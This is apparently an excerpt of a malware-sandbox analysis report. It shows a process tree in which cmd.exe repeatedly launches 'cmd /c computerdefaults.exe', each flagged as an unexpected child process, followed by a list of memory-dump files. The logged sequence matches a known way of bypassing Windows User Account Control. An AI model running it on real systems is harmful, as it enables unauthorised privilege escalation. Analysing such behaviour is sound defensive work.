  computerdefaults.exe
  2⤵
  PID:4396

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4868
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:2928

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4880
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1056

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2348-127-0x000002AAC4300000-0x000002AAC4304000-memory.dmp

Filesize
16KB

Download
memory/2700-119-0x0000027AF7AC0000-0x0000027AF7AC1000-memory.dmp

Filesize
4KB

Download
memory/2700-117-0x0000027AF6200000-0x0000027AF6201000-memory.dmp

Filesize
4KB

Download
memory/2700-154-0x0000027AF8790000-0x0000027AF8791000-memory.dmp

Filesize
4KB

Download
memory/2700-125-0x0000027AF8180000-0x0000027AF8181000-memory.dmp

Filesize
4KB

Download
memory/2700-126-0x0000027AF8190000-0x0000027AF8191000-memory.dmp

Filesize
4KB

Download
memory/2700-124-0x0000027AF8170000-0x0000027AF8171000-memory.dmp

Filesize
4KB

Download
memory/2700-122-0x0000027AF8130000-0x0000027AF8131000-memory.dmp

Filesize
4KB

Download
memory/2700-118-0x0000027AF7AB0000-0x0000027AF7AB1000-memory.dmp

Filesize
4KB

Download
memory/2700-116-0x0000027AF61F0000-0x0000027AF61F1000-memory.dmp

Filesize
4KB

Download
memory/2700-121-0x0000027AF8120000-0x0000027AF8121000-memory.dmp

Filesize
4KB

Download
memory/2700-115-0x0000027AF60A0000-0x0000027AF60A6000-memory.dmp

Filesize
24KB

Download
memory/2700-123-0x0000027AF8160000-0x0000027AF8161000-memory.dmp

Filesize
4KB

Download
memory/2700-120-0x0000027AF8110000-0x0000027AF8111000-memory.dmp

Filesize
4KB

Download